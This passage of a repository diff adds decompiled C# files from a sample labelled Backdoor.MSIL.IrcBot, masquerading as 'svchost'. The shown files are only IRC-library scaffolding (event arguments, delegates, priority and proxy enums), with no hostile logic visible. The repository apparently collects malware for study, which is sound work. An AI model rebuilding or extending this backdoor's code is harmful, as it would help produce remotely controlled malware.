||||||
|
public TimeSpan Lag => this._Lag;
|
||||||
|
|
||||||
|
internal PongEventArgs(IrcMessageData data, TimeSpan lag)
|
||||||
|
: base(data)
|
||||||
|
{
|
||||||
|
this._Lag = lag;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
@ -0,0 +1,10 @@
|
|||||||
|
// Decompiled with JetBrains decompiler
|
||||||
|
// Type: Meebey.SmartIrc4net.PongEventHandler
|
||||||
|
// Assembly: svchost, Version=3.2.4.0, Culture=neutral, PublicKeyToken=null
|
||||||
|
// MVID: 8F51F928-E1DB-4815-857F-7D580385B815
|
||||||
|
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Backdoor.MSIL.IrcBot.lp-4dd7df88cffbf85a5894bc1b38660fa613c24b0e6c004ac00b2b119c03a35d3f.exe
|
||||||
|
|
||||||
|
namespace Meebey.SmartIrc4net
|
||||||
|
{
|
||||||
|
public delegate void PongEventHandler(object sender, PongEventArgs e);
|
||||||
|
}
|
@ -0,0 +1,18 @@
|
|||||||
|
// Decompiled with JetBrains decompiler
|
||||||
|
// Type: Meebey.SmartIrc4net.Priority
|
||||||
|
// Assembly: svchost, Version=3.2.4.0, Culture=neutral, PublicKeyToken=null
|
||||||
|
// MVID: 8F51F928-E1DB-4815-857F-7D580385B815
|
||||||
|
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Backdoor.MSIL.IrcBot.lp-4dd7df88cffbf85a5894bc1b38660fa613c24b0e6c004ac00b2b119c03a35d3f.exe
|
||||||
|
|
||||||
|
namespace Meebey.SmartIrc4net
|
||||||
|
{
|
||||||
|
public enum Priority
|
||||||
|
{
|
||||||
|
Low,
|
||||||
|
BelowMedium,
|
||||||
|
Medium,
|
||||||
|
AboveMedium,
|
||||||
|
High,
|
||||||
|
Critical,
|
||||||
|
}
|
||||||
|
}
|
@ -0,0 +1,17 @@
|
|||||||
|
// Decompiled with JetBrains decompiler
|
||||||
|
// Type: Meebey.SmartIrc4net.ProxyType
|
||||||
|
// Assembly: svchost, Version=3.2.4.0, Culture=neutral, PublicKeyToken=null
|
||||||
|
// MVID: 8F51F928-E1DB-4815-857F-7D580385B815
|
||||||
|
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Backdoor.MSIL.IrcBot.lp-4dd7df88cffbf85a5894bc1b38660fa613c24b0e6c004ac00b2b119c03a35d3f.exe
|
||||||
|
|
||||||
|
namespace Meebey.SmartIrc4net
|
||||||
|
{
|
||||||
|
public enum ProxyType
|
||||||
|
{
|
||||||
|
None,
|
||||||
|
Http,
|
||||||
|
Socks4,
|
||||||
|
Socks4a,
|
||||||
|
Socks5,
|
||||||
|
}
|
||||||
|
}
|
@ -0,0 +1,25 @@
|
|||||||
|
// Decompiled with JetBrains decompiler
|
||||||
|
// Type: Meebey.SmartIrc4net.QuitEventArgs
|
||||||
|
// Assembly: svchost, Version=3.2.4.0, Culture=neutral, PublicKeyToken=null
|
||||||
|
// MVID: 8F51F928-E1DB-4815-857F-7D580385B815
|
||||||
|
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Backdoor.MSIL.IrcBot.lp-4dd7df88cffbf85a5894bc1b38660fa613c24b0e6c004ac00b2b119c03a35d3f.exe
|
||||||
|
|
||||||
|
namespace Meebey.SmartIrc4net
|
||||||
|
{
|
||||||
|
public class QuitEventArgs : IrcEventArgs
|
||||||
|
{
|
||||||
|
private string _Who;
|
||||||
|
private string _QuitMessage;
|
||||||
|
|
||||||
|
public string Who => this._Who;
|
||||||
|
|
||||||
|
public string QuitMessage => this._QuitMessage;
|
||||||
|
|
||||||
|
internal QuitEventArgs(IrcMessageData data, string who, string quitmessage)
|
||||||
|
: base(data)
|
||||||
|
{
|
||||||
|
this._Who = who;
|
||||||
|
this._QuitMessage = quitmessage;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
@ -0,0 +1,10 @@
|
|||||||
|
// Decompiled with JetBrains decompiler
|
||||||
|
// Type: Meebey.SmartIrc4net.QuitEventHandler
|
||||||
|
// Assembly: svchost, Version=3.2.4.0, Culture=neutral, PublicKeyToken=null
|
||||||
|
// MVID: 8F51F928-E1DB-4815-857F-7D580385B815
|
||||||
|
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Backdoor.MSIL.IrcBot.lp-4dd7df88cffbf85a5894bc1b38660fa613c24b0e6c004ac00b2b119c03a35d3f.exe
|
||||||
|
|
||||||
|
namespace Meebey.SmartIrc4net
|
||||||
|
{
|
||||||
|
public delegate void QuitEventHandler(object sender, QuitEventArgs e);
|
||||||
|
}
|
@ -0,0 +1,19 @@
|
|||||||
|
// Decompiled with JetBrains decompiler
|
||||||
|
// Type: Meebey.SmartIrc4net.ReadLineEventArgs
|
||||||
|
// Assembly: svchost, Version=3.2.4.0, Culture=neutral, PublicKeyToken=null
|
||||||
|
// MVID: 8F51F928-E1DB-4815-857F-7D580385B815
|
||||||
|
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Backdoor.MSIL.IrcBot.lp-4dd7df88cffbf85a5894bc1b38660fa613c24b0e6c004ac00b2b119c03a35d3f.exe
|
||||||
|
|
||||||
|
using System;
|
||||||
|
|
||||||
|
namespace Meebey.SmartIrc4net
|
||||||
|
{
|
||||||
|
public class ReadLineEventArgs : EventArgs
|
||||||
|
{
|
||||||
|
private string _Line;
|
||||||
|
|
||||||
|
public string Line => this._Line;
|
||||||
|
|
||||||
|
internal ReadLineEventArgs(string line) => this._Line = line;
|
||||||
|
}
|
||||||
|
}
|
Some files were not shown because too many files have changed in this diff Show More
Loading…
Reference in New Issue
Block a user